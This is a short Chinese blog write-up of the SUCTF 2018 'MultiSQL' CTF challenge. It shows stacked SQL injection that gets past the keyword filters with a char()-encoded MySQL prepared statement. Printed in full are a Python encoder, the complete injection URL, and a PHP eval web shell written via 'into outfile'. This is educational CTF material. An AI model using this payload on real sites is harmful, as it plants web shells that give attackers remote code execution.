[SUCTF 2018]MultiSQL

[SUCTF 2018]MultiSQL

涉及知识:

mysql预处理

解题过程:

一个文件上传页面,还以为直接传shell,但是没用。
在用户信息界面看到了url里有id,根据题目,应该是sql注入。
过滤了union,select ,&,|
题目还有multi,那么可能是堆叠注入

http://1d161e6c-1a76-40cc-9bbe-f00f0df4d339.node3.buuoj.cn/user/user.php?id=2;

加了;也能正常回显
那么来个预处理绕过过滤。
但是flag不在数据库里
尝试写shell

select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';

用python脚本进行ascii编码

str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';"
len_str=len(str)
for i in range(0,len_str):
    if i == 0:
        print('char(%s'%ord(str[i]),end="")
    else:
        print(',%s'%ord(str[i]),end="")
print(')')

payload:

?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

然后进入/favicon/shell.php进行代码执行

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇